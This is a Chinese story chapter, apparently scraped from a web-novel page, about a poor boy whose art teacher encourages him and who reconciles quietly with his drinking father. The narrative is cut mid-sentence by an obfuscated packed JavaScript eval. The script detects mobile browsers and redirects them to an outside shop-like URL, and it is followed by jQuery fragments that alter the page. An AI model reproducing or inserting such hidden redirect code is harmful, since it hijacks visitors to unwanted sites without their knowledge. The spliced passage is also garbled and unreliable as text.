张小五到学校的时候，早自习已经开始了。
他没有迟到太久，只是在校门口站了一会儿。学校门口的梧桐树叶子黄了大半，风一吹就簌簌地往下掉，落在他的肩膀上，又滑下去。他低头看着那些叶子，发现每一片叶子的脉络都不一样，有的像手掌，有的像河流，有的像一张皱巴巴的地图。
“张小五！你杵那儿干嘛呢？”
传达室的老大爷探出头来喊了一嗓子。张小五回过神，赶紧往教学楼跑。
书包在背上颠来颠去，里面除了两本课本，就是昨晚画的那些画。他把画都带上了，因为美术老师李老师说今天要收作品，区里有个“七彩童年”绘画比赛，每班要选三个人参加。
跑到教室门口，班主任刘老师正站在讲台上盯着大家读课文。她看见张小五，皱了皱眉，没有说话，只是用下巴朝座位方向点了点。
张小五低着头溜进去，坐到最后一排靠窗的位置。
同桌周扬正在拿课本挡着脸偷吃包子，见张小五坐下，用胳膊肘捅了他一下：“你咋又差点迟到？”
“起晚了。”张小五把书包塞进桌斗里。
周扬啃了一口包子，肉汁从嘴角溢出来，他用手背一抹，含混不清地说：“你爸又喝酒了？”
张小五没回答，从桌斗里抽出语文书翻到今天要读的课文。周扬见他不说话，也识趣地不再追问，低头对付剩下的包子。
早读课读的是朱自清的《背影》。语文书上的字密密麻麻，张小五读着读着就走神了。他想起昨晚父亲站在门口的样子，穿着那件洗得发白的旧毛衣，晨风吹得头发乱糟糟的。那个画面不知道为什么，比课文里的背影更让他觉得心里堵得慌。
他摸到桌斗里的图画纸，指尖在纸边上摩挲了一下，又缩了回来。
第一节课是数学，第二节课是英语，第三节课终于等到了美术。
李老师走进教室的时候，张小五的眼睛一下子就亮了。李老师三十来岁，扎着低马尾，穿一件灰蓝色的棉麻衬衫，袖口总是沾着颜料。她是整个学校里张小五最喜欢的老师，没有之一。
“上周说的那个绘画比赛，作品都带来了吗？”李老师站在讲台上，目光扫过全班。
稀稀拉拉有几个同学举手。张小五犹豫了一下，也举起了手。他的手举得很低，藏在前面同学的脑袋后面，像是怕被人看见。
李老师却一眼就看见了他。她微微笑了一下，说：“举手的同学把画拿上来，贴在黑板上，我们一起看看。”
张小五的心跳突然快了。他慢吞吞地从书包里掏出一个塑料袋，袋子里装着那厚厚一沓画。他抽出其中两张——一张是鱼缸里的金鱼，一张是母亲蹲下来看着他的样子。他把其他画塞回书包，攥着那两张纸站起来。
走到讲台前面的时候，他听见后排有人小声说：“张小五也画画？他那个破画本能画出什么？”
笑声不大，但张小五听见了。他的耳朵一下子红了，手里的画纸被他攥出了褶皱。
李老师也听见了。她看了一眼中后排，没有点名，只是说了一句：“每个人的画都有自己的味道，我们互相学习。”
张小五把画贴在黑板上，退后一步。鱼缸那张因为昨晚被母亲揉过，纸面上还有细细的皱痕，金鱼的尾巴歪歪扭扭的。他站在旁边，觉得自己像个笑话。
但李老师盯着那两幅画看了很久。
她先看的是金鱼。教室里安静下来，大家都在等着她点评。李老师伸出手，指尖在金鱼的尾巴上轻轻点了一下。
“这条尾巴为什么画歪了？”她问，语气不是批评，是好奇。
张小五愣了一下，小声说：“因为……因为我妈叫我，我手抖了一下。”
李老师点点头，又去看第二幅画。母亲蹲下来的样子，半张脸被头发遮住，眼睛很大很大。她看了将近一分钟，然后转过身，面对着全班同学。
“你们觉得这两幅画画得好吗？”
教室里七嘴八舌。有人说好，有人说一般，有人说看不出来画的是什么。周扬在后排扯着嗓子喊了一句：“我觉得金鱼挺像的！就是尾巴歪了！”
李老师笑了。她走到张小五身边，把手搭在他肩膀上。那只手很轻，但张小五觉得肩膀上像是压了一块石头，沉甸甸的。
“张小五的画，技法上确实有很多问题。”李老师说，“线条不够流畅，比例也不够准确。但是你们注意到没有，他画的金鱼，虽然是歪的，可是那条歪的尾巴，反而让这条鱼看起来像是在游动。”
她指着那幅画：“鱼缸里的水，他用了很多层不同深浅的灰色去画，这说明他在很认真地观察。第二幅画，这个人物的表情，你们看看她的眼睛。”
所有同学都看过去。那个被铅笔涂得有点脏兮兮的眼睛，不知道为什么，就是让人觉得里面藏着很多很多话。
“这就叫‘有感情’。”李老师的声音不大，但每个字都很清楚，“画画不只是画得像，更重要的是画出你看到的东西，和你心里的东西。张小五做到了这一点。”
教室里安静了两秒，然后不知道是谁鼓了一下掌，稀稀拉拉的掌声响起来。张小五低着头，耳朵红得能滴出血来，但他嘴角忍不住往上弯了一下。
下课后，李老师把张小五叫到了办公室。
美术办公室在教学楼的一层最里头，窗户朝北，光线不太好。但墙上挂满了学生作品和老师自己的画，花花绿绿的，像个万花筒。张小五每次走进来都觉得空气里有一股好闻的味道，后来他才知道那是松节油和颜料混合的气味。
“坐。”李老师拉了一把椅子让他坐下，自己坐在办公桌后面。她从抽屉里拿出一个本子，不算厚，但封面上印着一幅风景画，里面的纸是白色的，很光滑。
张小五一眼就看出来，那纸比他用的超市广告背面好一百倍。
“这个给你。”李老师把本子推过来。
张小五没敢接。他看了看那个本子，又看了看李老师，嘴唇动了动。
“老师，这个……贵吧？”
“不贵。”李老师说，“就是普通的水彩本，十几块钱。我买多了，家里还放着好几个呢。”
张小五知道她在说谎。他之前在文具店看过这种本子，最便宜的也要二十多。二十多块，够他和父亲吃三天的面条。
“拿着。”李老师把本子塞到他手里，“你之前用的那种纸不行，太薄了，铅笔一擦就破。画画要用好纸，不然你画得再好，纸也存不住。”
张小五的手指在那个本子上摩挲着。纸面确实很光滑，有一种凉丝丝的触感。他把它抱在胸口，像抱着什么宝贝。
“谢谢李老师。”他的声音有点闷。
李老师看着他，忽然问了一句：“你妈妈……走了？”
张小五点点头。
“那你现在跟你爸过？”
“嗯。”
“你爸……对你好吗？”
张小五又点点头，这次点得很用力。
李老师沉默了一会儿，从笔筒里抽出一支2B铅笔递给他。那支铅笔比张小五用的那截短铅笔长多了，尾巴上还有一块没用过的橡皮。
“回去把那两幅画再画一遍，画在这个本子上。”她说，“区里的比赛，我想让你参加。”
张小五猛地抬起头，眼睛亮得像两颗星。
“真的？”
“真的。”李老师笑了，“不过你还要再画一张新的。比赛的题目是‘我的家’，你想想怎么画。下周一之前交给我。”
张小五使劲点头，点得脖子都快断了。他从椅子上蹦起来，抱着画本和铅笔往外跑，跑到门口又折回来，朝李老师深深鞠了一躬。
“谢谢老师！”
李老师看着他的背影消失在走廊里，脸上的笑容慢慢收起来。她靠在椅背上，叹了口气。
她知道张小五家里的情况。这个孩子不爱说话，上课总是低着头，作业也经常交不齐。但他的画不一样，他的画里有一种东西，是她在其他学生作品里很少看到的。
那不是技巧，甚至算不上天赋。
那是一种想要表达的冲动。
像是一个被堵住了嘴的人，拼命想要喊出来。
放学后，张小五没有像往常一样直接回家。他去了学校后面那条街上的文具店，趴在柜台上看了很久。
文具店老板是个胖胖的中年女人，正嗑着瓜子看手机。她瞥了一眼张小五，问：“买什么？”
“阿姨，那个……水彩颜料多少钱？”张小五指着货架上一排小小的管子。
“十二色的二十五，十八色的三十五，二十四色的四十八。”老板头也不抬，“你要哪种？”
张小五摸了摸口袋。口袋里只有三块钱，是昨天买早餐剩下的。他把手从口袋里抽出来，摇了摇头。
“那铅笔呢？”他又问，“就是那种画画的铅笔，有软有硬的。”
“你说素描铅笔？一套六支，八块钱。”
八块钱。张小五在心里默默算了一下。如果他不吃早餐，攒三天就够了。可是他还要买颜料，颜料更贵。
他趴在柜台上盯着那排颜料管子看了很久，像是在看什么遥远的东西。
“你到底买不买？”老板不耐烦了。
张小五转过身，慢慢走出文具店。走到门口的时候，他又回头看了一眼。货架上那排颜料管子在夕阳里反着光，红的、黄的、蓝的、绿的，像一小排彩色的灯。
他攥紧了手里的画本。
没事。先画黑白的也行。
回到家的时候，天已经快黑了。张小五推开门，屋里没开灯，一片昏暗。空气里有一股浓烈的酒味，混着烟味，呛得他咳了两声。
“爸？”他喊了一声。
没人应。
他摸索着找到墙上的开关，把灯打开。客厅里乱糟糟的，茶几上摆着两个空酒瓶和一堆烟头，烟灰缸满了，烟灰落在桌面上，被风吹得到处都是。
张建国歪倒在沙发上，一只手垂在地上，手里还攥着半瓶啤酒。他的脸很红，呼吸很重，像是在做一个不太好的梦。
张小五走过去，把酒瓶从父亲手里轻轻抽出来。张建国的手指动了一下，嘟囔了一句什么，又沉沉睡去。
张小五把酒瓶放在桌上，去厨房拿了一条湿毛巾，回来给父亲擦了脸。张建
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443998|201069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
国的脸很烫，胡茬扎手，毛巾擦过的地方留下一条水痕。
他又去卧室拿了一条毯子，盖在父亲身上。
做完这些，张小五在茶几旁边蹲下来，把烟头和烟灰收拾干净。烟灰缸里有很多烟屁股，有的还带着口红印——那是母亲留下的。他看了一眼，把烟灰缸拿到厨房倒掉，洗干净，放回原处。
然后他搬了一把小板凳，坐到窗边。
窗外是一排老旧的居民楼，对面楼里有人家在炒菜，香味飘过来，是蒜薹炒肉的味道。张小五的肚子叫了一声，但他没有去厨房找吃的。他翻开李老师给的那个画本，翻到第一页，把2B铅笔削尖。
他想了想，决定先画那张金鱼。
鱼缸还在客厅的角落里，金鱼只剩下一条了。张小五盯着那条鱼看了很久，看它怎么游动，看它的尾巴怎么摆动，看水里的气泡怎么从底部升上来。
然后他低下头，开始画。
这一次他画得很慢。因为纸不一样了，铅笔也不一样了。铅笔在光滑的纸面上滑过去，留下的线条比之前更黑、更细、更干净。他可以控制用力的轻重，画深的地方就重一点，画浅的地方就轻一点。
他画了整整一个小时。
等他画完，抬起头的时候，窗外已经完全黑了。对面楼的灯一盏一盏亮着，像是一个一个方形的小月亮。
张建国在沙发上翻了个身，毯子滑下来一半。张小五走过去重新盖好，然后又坐回小板凳上，翻到第二页。
这次他画的是母亲。
他想起母亲蹲下来看着他的样子，眼眶红红的，嘴角往下撇着。他还想起母亲说的那句话：“妈对不起你，但是妈真的过不下去了。”
他不怪母亲。其实他也不知道自己应该怪谁。
他只是想把那张脸画下来。
这次他画得更久。他画母亲的头发，一根一根地画，有的地方黑，有的地方灰，有的地方留白。他画母亲的眼睛，把瞳孔涂得很深，高光留出来，让那双眼睛看起来亮亮的。
画到最后，他在母亲的身后画了一扇门。门是开着的，门外是一片很亮的光。
他说不清楚为什么要画那扇门。
也许是因为母亲走了。
也许是因为，他希望母亲有一天会从那扇门里走进来。
画完的时候，已经是晚上九点多了。张小五揉了揉发酸的眼睛，把画本合上，抱在怀里。
张建国醒了。
他从沙发上慢慢坐起来，手撑着额头，像是头很疼。他看了看四周，看见茶几上的酒瓶不见了，烟灰缸洗干净了，身上还盖着一条毯子。
“小五？”他的声音沙哑。
“嗯。”
“你做的？”
“嗯。”
张建国沉默了一会儿，站起来，去厨房倒了一杯水，咕咚咕咚灌下去。他用手背擦了擦嘴，走到张小五身边，看见他怀里的画本。
“这是什么？”
“美术老师给的画本。”张小五把它递过去，“李老师让我参加区里的绘画比赛，要画三幅画。”
张建国接过画本，翻开第一页。
金鱼在纸上游着，尾巴微微摆动，水里的气泡一颗一颗升上去。
他翻到第二页。
母亲蹲在那里，身后是一扇开着的门，门外是光。
张建国的喉结上下动了动。他合上画本，把它还给张小五。
“你李老师说得对。”他说，“你画得好。”
张小五看着父亲的脸。灯光下，父亲的脸色很差，眼窝深陷，嘴角的法令纹像刀刻的一样。
“爸。”张小五说。
“嗯。”
“你以后少喝点酒。”
张建国没有回答。他伸手揉了揉张小五的头发，粗糙的手掌在儿子头顶上停留了很久。
“爸知道了。”他说，“走，爸给你下碗面去。”
那天晚上的面，比平时多了一个鸡蛋。
张小五坐在桌边吃面，张建国坐在对面看着他吃。灯光昏黄，把两个人的影子投在墙上，一大一小，像两座挨着的山。
张小五吃着吃着，忽然说：“爸，我想好了，比赛那幅‘我的家’，我就画咱们家。”
张建国愣了一下：“咱们家有什么好画的？”
“有啊。”张小五说，“有你，有我，有桌子，有面，有鸡蛋。”
他停顿了一下，又说：“还有窗外的月亮。”
张建国没有说话，只是又揉了揉儿子的头发。
那天晚上，张小五躺在床上，把画本放在枕头旁边。他翻到第三页，空白的纸面上什么都没有。
他在脑子里构思那幅画。画面应该是什么样的？从哪个角度画？用什么样的光线？
想着想着，他就睡着了。
梦里他又走进了那间很大的画室，四面墙都是窗户，阳光从各个方向涌进来。但这一次画室里多了一样东西——一张旧木桌，桌上摆着两碗面，面上卧着荷包蛋。
他拿起画笔，在那面巨大的白墙上画了一个月亮。
月亮不大，但很亮。
亮得整面墙都暖洋洋的。